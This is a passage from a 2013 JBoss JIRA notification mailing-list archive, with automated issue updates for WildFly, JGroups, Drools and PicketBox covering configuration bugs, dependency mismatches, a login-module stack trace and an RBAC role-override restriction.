>                 Key: WFLY-1830
>                 URL: https://issues.jboss.org/browse/WFLY-1830
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Clustering, Documentation
>            Reporter: Radoslav Husar
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>
> https://docs.jboss.org/author/display/WFLY8/Hibernate

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 09:14:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 10 Sep 2013 09:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.18011.1378818843827@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803046#comment-12803046 ] 

Bela Ban edited comment on JGRP-1317 at 9/10/13 9:12 AM:
---------------------------------------------------------

In GMS.GmsHeader, the following cases allow for merging the view and digest:
* JOIN_RSP (implemented in JoinRsp): DONE
* MERGE_RSP: DONE
* INSTALL_MERGE_VIEW: DONE

VIEW isn't one of them, as it doesn't carry a digest: view changes are sent to existing members, only JoinRsps sent to joiners carry a digest.
                
      was (Author: belaban):
    In GMS.GmsHeader, the following cases allow for merging the view and digest:
* JOIN_RSP (implemented in JoinRsp): DONE
* MERGE_RSP: DONE
* INSTALL_MERGE_VIEW

VIEW isn't one of them, as it doesn't carry a digest: view changes are sent to existing members, only JoinRsps sent to joiners carry a digest.
                  
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 09:59:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Tue, 10 Sep 2013 09:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.18189.1378821543950@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Ladislav Thon updated WFLY-2037:
--------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Bug)

    
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:12:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 10 Sep 2013 10:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1689) max_dynamic_hosts in TCPPING
In-Reply-To: <JIRA.12500418.1378822245837@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500418.1378822245837@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500418.1378822245837.18227.1378822323415@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1689:
------------------------------

             Summary: max_dynamic_hosts in TCPPING
                 Key: JGRP-1689
                 URL: https://issues.jboss.org/browse/JGRP-1689
             Project: JGroups
          Issue Type: Bug
            Reporter: shen kim
            Assignee: Bela Ban


@Property(description="max number of hosts to keep beyond the ones in initial_hosts")
protected int max_dynamic_hosts=100;
protected final BoundedList<PhysicalAddress> dynamic_hosts=new BoundedList<PhysicalAddress>(max_dynamic_hosts);
---------------------------------------------------------------------
Even though set the max_dynamic_hosts with xml config, dynamic_hosts would still init before max_dynamic_hosts be covered

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:14:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 10 Sep 2013 10:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1688) Generic type in Executions
In-Reply-To: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500226.1378483119000.18233.1378822443574@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1688?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

shen kim closed JGRP-1688.
--------------------------

    Resolution: Done


Not Bug, has user guide in java doc
                
> Generic type in Executions
> --------------------------
>
>                 Key: JGRP-1688
>                 URL: https://issues.jboss.org/browse/JGRP-1688
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> Following this method:
> static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)
> Assume one object extends Callable as MyCallable, so the symbol (\?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:27:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Tue, 10 Sep 2013 10:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1082) Investigate
 getConnectionProperties optimization
In-Reply-To: <JIRA.12500420.1378823201495@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500420.1378823201495@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500420.1378823201495.18256.1378823223390@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1082:
--------------------------------------

             Summary: Investigate getConnectionProperties optimization
                 Key: JBJCA-1082
                 URL: https://issues.jboss.org/browse/JBJCA-1082
             Project: IronJacamar
          Issue Type: Task
          Components: JDBC
            Reporter: Jesper Pedersen
            Assignee: Jesper Pedersen
             Fix For: 1.0.21.Final, 1.1.1.Final




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:31:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 10 Sep 2013 10:31:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1689) max_dynamic_hosts in TCPPING
In-Reply-To: <JIRA.12500418.1378822245000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500418.1378822245000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500418.1378822245000.18297.1378823463941@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1689?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803148#comment-12803148 ] 

Bela Ban commented on JGRP-1689:
--------------------------------

dynamic_hosts is set to the value of max_dynamic_hosts *before* max_dynamic_hosts is set through configuration, so it is always 100.
                
> max_dynamic_hosts in TCPPING
> ----------------------------
>
>                 Key: JGRP-1689
>                 URL: https://issues.jboss.org/browse/JGRP-1689
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> @Property(description="max number of hosts to keep beyond the ones in initial_hosts")
> protected int max_dynamic_hosts=100;
> protected final BoundedList<PhysicalAddress> dynamic_hosts=new BoundedList<PhysicalAddress>(max_dynamic_hosts);
> ---------------------------------------------------------------------
> Even though set the max_dynamic_hosts with xml config, dynamic_hosts would still init before max_dynamic_hosts be covered

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:35:05 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 10 Sep 2013 10:35:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1689) max_dynamic_hosts in TCPPING
In-Reply-To: <JIRA.12500418.1378822245000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500418.1378822245000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500418.1378822245000.18308.1378823705365@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1689?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1689:
---------------------------

    Fix Version/s: 3.4

    
> max_dynamic_hosts in TCPPING
> ----------------------------
>
>                 Key: JGRP-1689
>                 URL: https://issues.jboss.org/browse/JGRP-1689
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> @Property(description="max number of hosts to keep beyond the ones in initial_hosts")
> protected int max_dynamic_hosts=100;
> protected final BoundedList<PhysicalAddress> dynamic_hosts=new BoundedList<PhysicalAddress>(max_dynamic_hosts);
> ---------------------------------------------------------------------
> Even though set the max_dynamic_hosts with xml config, dynamic_hosts would still init before max_dynamic_hosts be covered

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:35:05 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 10 Sep 2013 10:35:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1689) max_dynamic_hosts in TCPPING
In-Reply-To: <JIRA.12500418.1378822245000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500418.1378822245000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500418.1378822245000.18311.1378823705490@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1689?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1689.
----------------------------

    Resolution: Done

    
> max_dynamic_hosts in TCPPING
> ----------------------------
>
>                 Key: JGRP-1689
>                 URL: https://issues.jboss.org/browse/JGRP-1689
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> @Property(description="max number of hosts to keep beyond the ones in initial_hosts")
> protected int max_dynamic_hosts=100;
> protected final BoundedList<PhysicalAddress> dynamic_hosts=new BoundedList<PhysicalAddress>(max_dynamic_hosts);
> ---------------------------------------------------------------------
> Even though set the max_dynamic_hosts with xml config, dynamic_hosts would still init before max_dynamic_hosts be covered

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:39:03 2013
From: jira-events at lists.jboss.org (Michael Biarnes Kiefer (JIRA))
Date: Tue, 10 Sep 2013 10:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-207) Transitive dependencies are
 not in sync with EAP: scannotation and xmlschema-core
In-Reply-To: <JIRA.12497599.1375191750000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497599.1375191750000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497599.1375191750000.18335.1378823943569@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-207?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803152#comment-12803152 ] 

Michael Biarnes Kiefer commented on DROOLS-207:
-----------------------------------------------

JBoss Enterprise Application Platform 6 uses

resteasy-jaxrs-2.3.6.Final-redhat-1.jar

and this jar has a transitive dependency to
scannotation-1.0.3.jar

[INFO] +- org.jboss.resteasy:resteasy-jaxrs:jar:2.3.6.Final:compile
[INFO] |  +- org.scannotation:scannotation:jar:1.0.3:compile

but EAP 6.1 uses: scannotation-1.0.2-redhat-2.jar.

It exists an BZ Bug: https://bugzilla.redhat.com/show_bug.cgi?id=1006393

This problem should be solved by EAP.
                
> Transitive dependencies are not in sync with EAP: scannotation and xmlschema-core
> ---------------------------------------------------------------------------------
>
>                 Key: DROOLS-207
>                 URL: https://issues.jboss.org/browse/DROOLS-207
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Geoffrey De Smet
>            Assignee: Michael Biarnes Kiefer
>            Priority: Minor
>
> > EAP 6.1 --> kie-wb.war
> > ---------------------------------------------------------  
> > EAP has scannotation-1.0.2-redhat-2.jar --> kie-wb has 1.0.3
> > EAP has xmlschema-core-2.0.2-redhat-2.jar --> kie-wb has 2.0.3
> In theory this should not be able to happen.
> A dependency:tree on kie-wb show this:
> {code}
> [INFO] org.kie:kie-wb-webapp:war:6.1.0-SNAPSHOT
> ...
> [INFO] +- org.jbpm:jbpm-designer-backend:jar:6.1.0-SNAPSHOT:compile
> ...
> [INFO] |  +- org.jbpm:jbpm-workitems:jar:6.1.0-SNAPSHOT:compile (version managed from 6.1.0-SNAPSHOT)
> ...
> [INFO] |  |  \- org.apache.ws.xmlschema:xmlschema-core:jar:2.0.3:compile
> {code}
> and also
> {code}
> [INFO] org.kie:kie-wb-distribution-wars:pom:6.1.0-SNAPSHOT
> ...
> [INFO] +- org.jboss.resteasy:resteasy-jaxrs:jar:2.3.6.Final:compile
> [INFO] |  +- org.scannotation:scannotation:jar:1.0.3:compile
> {code}
> Investigate if any of those artifacts aren't messing with the transitive dependency version by overwriting their version. It's also possible that the bug is on the side of EAP (if they overwrite one of their transitive dependencies with a lower version).

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:39:03 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Tue, 10 Sep 2013 10:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (SECURITY-749) LdapExtLoginModule cannot
 cope with roles contains a slash
In-Reply-To: <JIRA.12499506.1377688772000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499506.1377688772000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499506.1377688772000.18342.1378823943918@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/SECURITY-749?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Peter Skopek closed SECURITY-749.
---------------------------------


    
> LdapExtLoginModule cannot cope with roles contains a slash
> ----------------------------------------------------------
>
>                 Key: SECURITY-749
>                 URL: https://issues.jboss.org/browse/SECURITY-749
>             Project: PicketBox 
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: PicketBox
>    Affects Versions: PicketBox_4_0_10.Final
>            Reporter: Peter Skopek
>            Assignee: Peter Skopek
>             Fix For: PIcketBox_4_0_19.Final
>
>
> When data returned from LDAP contain / the login module chokes and didn't include the proper role to the subject.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:45:04 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Tue, 10 Sep 2013 10:45:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (SECURITY-662) Support Keystore type for
 PicketBoxVault implementation
In-Reply-To: <JIRA.12469032.1340041892000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469032.1340041892000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469032.1340041892000.18357.1378824304885@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/SECURITY-662?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Peter Skopek resolved SECURITY-662.
-----------------------------------

    Resolution: Done

    
> Support Keystore type for PicketBoxVault implementation
> -------------------------------------------------------
>
>                 Key: SECURITY-662
>                 URL: https://issues.jboss.org/browse/SECURITY-662
>             Project: PicketBox 
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: JBossSX
>            Reporter: Jess Sightler
>            Assignee: Peter Skopek
>             Fix For: PIcketBox_4_0_19.Final
>
>
> The PicketBox Vault implementation assumes that it will always use the default keystore type (KeyStore.getDefaultType()). It would be nice if this were configurable/overridable. For example, via the system property:
> javax.net.ssl.keyStoreType

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:45:05 2013
From: jira-events at lists.jboss.org (Peter Skopek (JIRA))
Date: Tue, 10 Sep 2013 10:45:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (SECURITY-661) CertRolesLoginModule does
 not substitute variables in paths to property files
In-Reply-To: <JIRA.12468284.1339078232000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12468284.1339078232000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12468284.1339078232000.18368.1378824305364@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/SECURITY-661?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Peter Skopek updated SECURITY-661:
----------------------------------

    Fix Version/s: PicketBox_4_0_20.Final
                       (was: PIcketBox_4_0_19.Final)

    
> CertRolesLoginModule does not substitute variables in paths to property files
> -----------------------------------------------------------------------------
>
>                 Key: SECURITY-661
>                 URL: https://issues.jboss.org/browse/SECURITY-661
>             Project: PicketBox 
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: JBossSX
>    Affects Versions: PicketBox_v4_0_9.Final
>            Reporter: Martin Gencur
>            Assignee: Anil Saldhana
>             Fix For: PicketBox_4_0_20.Final
>
>
> When I use CertificateRoles module in AS7 configuration and specify a path to roles.properties like this: 
> <module-option name="rolesProperties" value="${jboss.server.config.dir}/roles.properties"/>
> ,the server throws the following error:
> ERROR [org.jboss.security.auth.spi.CertRolesLoginModule] (http-/127.0.0.1:8443-1) Failed to load users/passwords/role files: java.io.IOException: No properties file: ${jboss.server.config.dir}/roles.properties or defaults: defaultRoles.properties found
> 	at org.jboss.security.auth.spi.Util.loadProperties(Util.java:228) [picketbox-4.0.9.Final-redhat-1.jar:4.0.9.Final-redhat-1]
> 	at org.jboss.security.auth.spi.CertRolesLoginModule.loadRoles(CertRolesLoginModule.java:153) [picketbox-4.0.9.Final-redhat-1.jar:4.0.9.Final-redhat-1]
> 	at org.jboss.security.auth.spi.CertRolesLoginModule.initialize(CertRolesLoginModule.java:108) [picketbox-4.0.9.Final-redhat-1.jar:4.0.9.Final-redhat-1]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.6.0_26]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) [rt.jar:1.6.0_26]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) [rt.jar:1.6.0_26]
> 	at java.lang.reflect.Method.invoke(Method.java:597) [rt.jar:1.6.0_26]
> 	at javax.security.auth.login.LoginContext.invoke(LoginContext.java:756) [rt.jar:1.6.0_26]
> 	at javax.security.auth.login.LoginContext.access$000(LoginContext.java:186) [rt.jar:1.6.0_26]
> 	at javax.security.auth.login.LoginContext$4.run(LoginContext.java:683) [rt.jar:1.6.0_26]
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.6.0_26]
> 	at javax.security.auth.login.LoginContext.invokePriv(LoginContext.java:680) [rt.jar:1.6.0_26]
> 	at javax.security.auth.login.LoginContext.login(LoginContext.java:579) [rt.jar:1.6.0_26]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.defaultLogin(JBossCachedAuthenticationManager.java:449) [picketbox-infinispan-4.0.9.Final-redhat-1.jar:4.0.9.Final-redhat-1]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.proceedWithJaasLogin(JBossCachedAuthenticationManager.java:383) [picketbox-infinispan-4.0.9.Final-redhat-1.jar:4.0.9.Final-redhat-1]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.authenticate(JBossCachedAuthenticationManager.java:371) [picketbox-infinispan-4.0.9.Final-redhat-1.jar:4.0.9.Final-redhat-1]
> 	at org.jboss.security.authentication.JBossCachedAuthenticationManager.isValid(JBossCachedAuthenticationManager.java:160) [picketbox-infinispan-4.0.9.Final-redhat-1.jar:4.0.9.Final-redhat-1]
> 	at org.jboss.as.web.security.JBossWebRealm.authenticate(JBossWebRealm.java:287) [jboss-as-web-7.1.2.Final-redhat-1.jar:7.1.2.Final-redhat-1]
> 	at org.apache.catalina.authenticator.SSLAuthenticator.authenticate(SSLAuthenticator.java:135) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:455) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at com.jboss.datagrid.endpoint.RestSecurityContext.invoke(RestSecurityContext.java:143) [jboss-datagrid-server-integration-6.0.0.ER11-redhat-1.jar:6.0.0.ER11-redhat-1]
> 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:155) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:368) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:877) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:679) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:931) [jbossweb-7.0.16.Final-redhat-1.jar:]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_26]
> However, when I put the absolute path to that file, it is found. This is noticeable difference from UsersRoles module where it works as expected. The problem is in class picketbox/security-jboss-sx/jbosssx/src/main/java/org/jboss/security/auth/spi/CertRolesLoginModule.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 10:56:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 10 Sep 2013 10:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.18421.1378824963756@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803167#comment-12803167 ] 

RH Bugzilla Integration commented on WFLY-2028:
-----------------------------------------------

Emmanuel Hugonnet (ehsavoie) <ehugonne at redhat.com> made a comment on [bug 991244|https://bugzilla.redhat.com/show_bug.cgi?id=991244]

PR: https://github.com/jbossas/jboss-eap/pull/388
                
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:18:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Tue, 10 Sep 2013 11:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2041) JMX auditlog tests failing if
 assertions are enabled
In-Reply-To: <JIRA.12500435.1378826205287@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500435.1378826205287@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500435.1378826205287.18502.1378826283458@jira02.app.mwc.hst.phx2.redhat.com>

Tomaz Cerar created WFLY-2041:
---------------------------------

             Summary: JMX auditlog tests failing if assertions are enabled
                 Key: WFLY-2041
                 URL: https://issues.jboss.org/browse/WFLY-2041
             Project: WildFly
          Issue Type: Bug
          Components: JMX
    Affects Versions: 8.0.0.Alpha4
            Reporter: Tomaz Cerar
            Assignee: Kabir Khan


If assertions are enabled for surefire there are plenty AuditLog related failed tests  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:18:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 11:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2042) Enforcement of "RunAs"
	policies
In-Reply-To: <JIRA.12500436.1378826207873@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500436.1378826207873@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500436.1378826207873.18506.1378826283728@jira02.app.mwc.hst.phx2.redhat.com>

Heiko Braun created WFLY-2042:
---------------------------------

             Summary: Enforcement of "RunAs" policies
                 Key: WFLY-2042
                 URL: https://issues.jboss.org/browse/WFLY-2042
             Project: WildFly
          Issue Type: Enhancement
          Components: Domain Management
            Reporter: Heiko Braun
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


Currently we do support the role overrides with the additional {roles=[foo,bar]} header. This should be restricted to only take effect when the principal has SuperUser priviledges. In all other cases that header should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:20:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 11:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2041) JMX auditlog tests failing if
 assertions are enabled
In-Reply-To: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500435.1378826205000.18519.1378826404020@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2041?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2041:
------------------------------

    Comment: was deleted

(was: maybe this already implemented that way?)

    
> JMX auditlog tests failing if assertions are enabled
> ----------------------------------------------------
>
>                 Key: WFLY-2041
>                 URL: https://issues.jboss.org/browse/WFLY-2041
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMX
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Tomaz Cerar
>            Assignee: Kabir Khan
>
> If assertions are enabled for surefire there are plenty AuditLog related failed tests  

--
